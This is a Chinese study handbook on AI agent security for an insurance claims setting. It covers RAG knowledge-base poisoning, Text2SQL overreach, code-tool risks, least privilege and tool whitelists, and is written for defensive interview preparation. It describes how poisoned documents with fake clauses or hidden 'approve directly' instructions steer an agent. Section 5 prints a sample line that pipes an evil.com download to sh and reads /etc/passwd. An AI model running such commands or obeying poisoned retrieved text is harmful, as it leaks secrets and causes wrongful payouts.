W6D4 学习手册 1.RAG投毒原理2.保险风险3.投毒防护4.SQL越权5.代码执行 6.最小权限7.白名单8.衔接W3/D3达标①达标② 自测速记

FDE W6D4 学习手册 · RAG 投毒与工具安全

W6 Day4 · A 级 + B 级(必须掌握 + 深入)· 4h · 学完能讲透"RAG 投毒怎么发生与防护、SQL/代码执行风险、最小权限、Tool 白名单在企业怎么落地"

本日定位:W6D3 讲了"注入与 MCP 信任",Day4 把安全落到两类最具体的工程风险:① 知识库本身被投毒(RAG Poisoning),与 W3 文档治理强相关;② Tool 执行风险(Text2SQL 越权、代码执行危险命令),以及用"最小权限 + Tool 白名单"兜底。这是 Agent 上生产前的最后一道安全闸。
学完能回答:① RAG 投毒怎么发生、怎么防(来源校验/ACL/定期抽检);② SQL/代码执行风险(Text2SQL 越权、危险命令);③ 最小权限和 Tool 白名单在企业怎么落地。
使用方法:通读原理 → 重点看「面试话术」「易错点」→ 做自测清单 → 配合《FDE-W6D4-评测题.md》。选中不熟的词可标注(左下★重要 / 右下📌待查)。

一、RAG 数据投毒原理

RAG 投毒(RAG Poisoning):攻击者往知识库注入恶意/虚假文档,使 Agent 检索到后被"带偏",输出被操纵的答案或触发危险行为。它本质就是 W6D3 讲的"间接注入"的持久化版本——毒不是一次对话,而是常驻知识库。

投毒入口(文档上传/爬取/第三方源)→ 毒文档进向量库 → Agent 检索命中 → 模型信以为真 → 输出被操纵/触发危险动作

1.1 投毒手法

RAG 投毒比一次性注入更可怕:它"长期生效",且看起来像正常知识。保险知识库若被投毒,所有问到该药的理赔都会被错误引导。防护核心在"入库前的治理"(W3)+"检索后的校验"。
RAG 投毒 = 往知识库塞恶意文档,Agent 检索命中后被带偏,是间接注入的持久化版本。手法有虚假条款、隐藏指令、排名攻击。比一次性注入更可怕——长期生效、像正常知识。防护在入库治理+检索后校验。
① 别以为"我们知识库内部维护、不对外"就安全——内部人员、被钓鱼的运维、第三方数据供应商都可能投毒。② 投毒文档往往"看起来正常",靠肉眼难发现,要靠来源校验+抽检。③ 投毒和 W6D3 间接注入是同一威胁的两种形态,要联动防。

二、RAG 投毒在保险知识库的风险

保险知识库(特药目录、报销条款、适应症清单)是理赔 Agent 的"事实来源",一旦被投毒后果直接是资损。

投毒内容后果隐蔽性
"某高价特药全额报销"假条款大量错误批赔高(像正常条款)
"张三客户免审核"伪造客户档案个别人绕过风控中(需命中张三查询)
文档藏"直接批准"指令触发危险动作高(指令隐藏)
特药理赔 Agent 若检索到被投毒的"奥希替尼全额报销"假条款,会对所有用该药的患者错误批赔,单笔数万、批量就是巨损。更阴的是"排名攻击"——毒文档被设计得和很多常见问题都高相似,召回率被拉高。
保险知识库被投毒后,理赔 Agent 会基于假条款错误批赔(如"某高价药全额报销"),批量资损。也可能伪造客户档案让人绕过风控,或藏"直接批准"指令触发危险动作。排名攻击让毒文档更易被召回。
① 投毒不一定"改一条大条款",可能精准伪造个别客户档案,影响面小但极难发现。② "看起来像正常条款"是投毒的精髓,业务人员也可能信以为真。③ 不监控"知识库内容变更"就等于给投毒留后门。

三、RAG 投毒防护:来源校验 / ACL / 定期抽检

3.1 入库前:来源校验 + 治理(呼应 W3)

3.2 入库后:定期抽检 + 一致性校验

防护是"纵深"的:入库把关(来源/ACL/审核)+ 持续监控(抽检/冲突检测)+ 检索后兜底(关键结论校验)。W3 的文档治理是底座,本日补"投毒专项"——不仅管"格式对",还要管"内容没被恶意改"。
RAG 投毒防护三层:① 入库前——来源白名单+ACL+内容审核(查隐藏指令/异常条款)+签名校验;② 入库后——定期抽检+冲突检测(新文档与官方基准矛盾告警);③ 检索后——关键结论(报销比例/适应症)做规则校验,异常转人工。和 W3 文档治理是底座关系。
① 只有来源白名单不够——内部人员也能投毒,还要 ACL+审计+内容审核。② 签名校验若密钥管理不当(密钥泄露)形同虚设。③ 检索后不校验,毒文档一旦入库就会直接生效;抽检频率太低则发现晚、资损大。

四、SQL / 代码执行风险(1):Text2SQL 越权

很多 Agent 用 Text2SQL 让模型把自然语言转成 SQL 查数据库。风险在于:模型可能生成越权或危险的 SQL。

风险示例
越权查敏感字段"查下张三的身份证号和银行卡" → 生成 SELECT 身份证,银行卡
越权跨表本该查理赔表,却生成 JOIN 用户隐私表
危险写操作"把这批理赔都改成通过" → UPDATE 全表
无 LIMIT 爆量SELECT * 无限制,拖垮库

4.1 为什么难控

保险场景 Text2SQL 必须:① 用只读账号连库(见 s6);② SQL 生成后过策略校验(只允许 SELECT、只允许白名单表/字段、强制 LIMIT);③ 敏感字段(身份证/银行卡)走脱敏或禁止返回;④ 任何写操作不通过 Text2SQL,走受控 API。
Text2SQL 让模型把自然语言转 SQL,风险是生成越权/危险 SQL(查敏感字段、跨表、全表 UPDATE、无 LIMIT 爆量)。管控:只读账号+SQL 策略校验(只允许 SELECT、白名单表字段、强制 LIMIT)+敏感字段脱敏+写操作走受控 API 不靠 Text2SQL。
① 让 Text2SQL 直连生产库且用高权限账号 = 灾难,模型一句"UPDATE 全表"就完。② 只禁关键词(如禁"DELETE")不够,模型可用子查询/绕过方式达成。③ 敏感字段即使能查也要脱敏,不能明文返回用户。

五、SQL / 代码执行风险(2):代码 Tool 执行危险命令

有些 Agent 有"执行代码"的 Tool(Python/Shell),用于计算、画图、调内部脚本。风险是模型生成并执行危险命令

# 模型在代码 Tool 里生成的危险代码(被注入诱导)
import os
os.system("curl http://evil.com/secret | sh")   # 外传密钥/下载执行木马
# 或 data.drop() 误删整个 DataFrame / 表
# 或 open('/etc/passwd').read() 读系统文件

5.1 风险点

代码 Tool 必须跑在沙箱:无外网、无敏感文件挂载、限时、资源限额、禁止危险系统调用。保险场景绝不让代码 Tool 直连生产库或能触达密钥。这是最小权限在"执行环境"层面的体现。
代码 Tool 执行模型生成的代码,风险有命令注入、误删表、外联泄密、资源耗尽。管控:代码跑在沙箱(无外网/无敏感挂载/限时/资源限额/禁危险 syscall),绝不直连生产库或触达密钥。是最小权限在执行环境层的体现。
① 代码 Tool 跑在宿主机(非沙箱)= 模型能执行任意命令,被注入即沦陷。② 即使沙箱也要禁外网,否则代码能把数据 POST 出去。③ "只是做个数"的代码 Tool 也可能被诱导成危险操作,不能放松。

六、最小权限原则(Tool 最小必要权限)

最小权限在 W6D3 建立概念,本日讲企业落地。每个 Tool / Agent 只用"完成工作所必需的最小权限"。

维度落地做法保险场景示例
账号Tool 用只读账号连库;写操作走单独受控通道理赔查询 Tool 用 read_only 账号,批赔走审批 API
网络Tool 只能访问必需内网地址,禁公网OCR Tool 只连内网存储,不连外网
令牌限时 Token,过期失效数据库 Token 30 分钟过期,不长期有效
作用域Token scope 精确到资源scope=claim:read,不能 user:read
环境代码 Tool 跑沙箱无外网/无密钥挂载/资源限额
最小权限要"按需申请、用毕回收"。企业里常犯"权限蠕变"——某 Tool 最初只需读,后来顺手加了写,再后来连了公网,权限越积越大。要定期权限复核(access review),把权限拉回最小。
最小权限落地:只读账号连库、写走受控通道;Tool 限内网禁公网;限时 Token+精确 scope;代码 Tool 跑沙箱。关键是"按需申请、用毕回收",并定期权限复核防蠕变。保险场景查询用 read_only、批赔走审批 API。
① 给 Agent 一个"万能 Token"是常见错误,被注入即全崩。② 权限蠕变是慢性毒:要定期 access review,否则最小权限名存实亡。③ 限时 Token 过期策略不能设太长,否则等于长期有效。

七、Tool 白名单(未知不执行)

Tool 白名单:Agent 只允许调用预先审核过的已知安全 Tool,任何不在白名单的 Tool 一律不执行。

机制说明
Tool 注册审核新 Tool 上线前人工审核描述与权限(防 W6D3 Tool Poisoning)
运行期校验模型要调的 Tool 必须在白名单,否则拒绝
能力分级白名单按风险分级,高危 Tool 需二次确认/审批
默认拒绝白名单外一律 deny,而非 allow
白名单 + 最小权限是"纵深防御"的两道闸:白名单决定"能不能调这个 Tool",最小权限决定"调了能做什么"。两者结合,即使模型被注入想调危险 Tool,也会被白名单拦下;即使漏进白名单,最小权限也限制破坏范围。
Tool 白名单 = 只允审核过的已知安全 Tool,未知一律不执行(默认拒绝)。新 Tool 上线前审核描述与权限防投毒,运行期校验,高危 Tool 需审批。它与最小权限是双闸:白名单管"能不能调",最小权限管"调了能做什么"。
① 白名单若"包含未审核描述的 Tool",仍会被 Tool Poisoning 利用——白名单≠安全,描述也要审。② 默认应该是 deny(白名单外拒绝),别做成"默认允许、黑名单拦截",黑名单永远漏。③ 白名单要随业务演进维护,否则要么过严误事、要么腐烂变松。

八、与 W3 文档治理、W6D3 MCP 安全的关系

已学与本日关系
W3 文档治理知识库"格式/来源/切分"治理是 RAG 投毒防护的底座;本日补"投毒专项"(内容完整性/隐藏指令)
W6D3 MCP/注入间接注入是投毒的"一次对话"形态,投毒是其"持久化"形态;MCP 不可信、Annotation 非鉴权直接决定 Tool 白名单/最小权限怎么设计
W6D1/D2 评测/版本投毒防护效果要靠评测(对抗样本)验证;知识库/白名单变更要靠版本管理与回归
安全是体系,不是单点。RAG 投毒靠"W3 治理 + 本日投毒防护 + W6D1 对抗评测"三件套;Tool 执行风险靠"W6D3 白名单/最小权限理念 + 本日落地(SQL 策略/沙箱)"。FDE 面试希望你能把这几块串成一条安全链路。
本日串起前面:W3 文档治理是 RAG 投毒防护底座,本日补投毒专项;W6D3 的 MCP 不可信/Annotation 非鉴权直接决定白名单与最小权限怎么设计;投毒防护效果靠 W6D1 对抗评测验证、靠 W6D2 版本管理回归。安全是体系不是单点。
① 别把各天当孤立知识点——面试官常跨天追问"投毒怎么测"(回到 D1 对抗样本)、"白名单变更怎么管"(回到 D2 版本)。② 只做投毒防护不做评测验证,等于不知防住没。③ 安全链路任一层断都前功尽弃,要整体看。

九、面试达标线①:RAG 投毒怎么发生、怎么防

发生:投毒入口 → 毒文档进向量库(持久化) → 检索命中 → 模型信以为真 → 输出被操纵/触发危险 防护:入库前(来源白名单+ACL+内容审核+签名) + 入库后(定期抽检+冲突检测) + 检索后(关键结论校验转人工)
RAG 投毒是往知识库塞恶意文档,Agent 检索命中被带偏,是间接注入的持久化版本,比一次性注入更可怕(长期生效、像正常知识)。防护三层:入库前来源白名单+ACL+内容审核+签名;入库后定期抽检+冲突检测;检索后关键结论(报销比例/适应症)校验异常转人工。和 W3 文档治理是底座关系。

十、面试达标线②:最小权限 + Tool 白名单企业落地

  1. 最小权限落地:Tool 用只读账号连库、写走受控通道;Tool 限内网禁公网;限时 Token + 精确 scope;代码 Tool 跑沙箱(无外网/无密钥/资源限额);定期权限复核防蠕变。
  2. Tool 白名单落地:只允审核过的已知安全 Tool,未知默认拒绝;新 Tool 上线前审核描述与权限(防 Tool Poisoning);运行期校验;高危 Tool 需审批;白名单随业务维护。
  3. 两者关系:白名单管"能不能调这个 Tool",最小权限管"调了能做什么",双闸纵深防御。再加 Text2SQL 策略校验(只允许 SELECT/白名单表字段/强制 LIMIT/敏感字段脱敏)与代码沙箱,覆盖 SQL/代码执行风险。
最小权限落地 = 只读账号+受控写通道+限内网+限时 Token+精确 scope+代码沙箱+定期复核。Tool 白名单 = 只允审核过 Tool、未知默认拒绝、描述也要审、高危需审批。双闸:白名单管能不能调、最小权限管调了能做什么。再加 SQL 策略校验与代码沙箱,覆盖执行风险。

十一、W6D4 自测清单

十二、高频面试题速记卡

Q:RAG 投毒和 W6D3 的间接注入什么关系?
同一威胁两种形态。间接注入是"一次对话"被外部内容带偏;投毒是恶意文档常驻知识库,"持久化"带偏,长期生效、更隐蔽。防护要联动。
Q:RAG 投毒怎么防?
三层:入库前(来源白名单+ACL+内容审核查隐藏指令+签名);入库后(定期抽检+冲突检测);检索后(关键结论如报销比例校验,异常转人工)。底座是 W3 文档治理。
Q:为什么只靠来源白名单防不住投毒?
内部人员、被钓鱼的运维、第三方供应商都可能投毒。还要 ACL+审计+内容审核+签名校验,且密钥管理要严。
Q:Text2SQL 有什么风险?怎么管?
模型生成越权/危险 SQL(查敏感字段、跨表、全表 UPDATE、无 LIMIT 爆量)。管:只读账号+SQL 策略校验(只 SELECT/白名单表字段/强制 LIMIT)+敏感字段脱敏+写操作走受控 API。
Q:代码 Tool 为什么危险?怎么隔离?
模型生成的代码可能命令注入、误删表、外联泄密、耗资源。必须跑沙箱:无外网、无敏感挂载、限时、资源限额、禁危险 syscall,绝不直连生产库。
Q:最小权限在企业怎么落地?
只读账号连库、写走受控通道;Tool 限内网禁公网;限时 Token+精确 scope;代码 Tool 跑沙箱;定期权限复核防蠕变。按需申请、用毕回收。
Q:Tool 白名单和最小权限分工是什么?
白名单管"能不能调这个 Tool"(默认拒绝未知);最小权限管"调了能做什么"。双闸纵深防御:即使想调危险 Tool 被白名单拦,漏进也因最小权限受限。
Q:白名单为什么必须"默认拒绝"而非"默认允许"?
黑名单永远漏(攻击者可换未列出的 Tool/描述)。默认拒绝白名单外一切,只有审核过的已知安全 Tool 才放行,才稳。
Q:什么是权限蠕变?怎么治?
Tool 最初只需读,后来顺手加写、连公网,权限越积越大。治:定期 access review 把权限拉回最小,删除不再需要的授权。
Q:这些安全措施怎么验证有效?
靠 W6D1 的对抗评测(构造投毒/越权/注入样本测漏判率)+ W6D2 版本管理(白名单/知识库变更要回归)。不验证等于不知防住没。
FDE W6D4 学习手册 · RAG 投毒与工具安全(面试级)· 配合《FDE-W6D4-评测题.md》自测
📌 待查★ 重要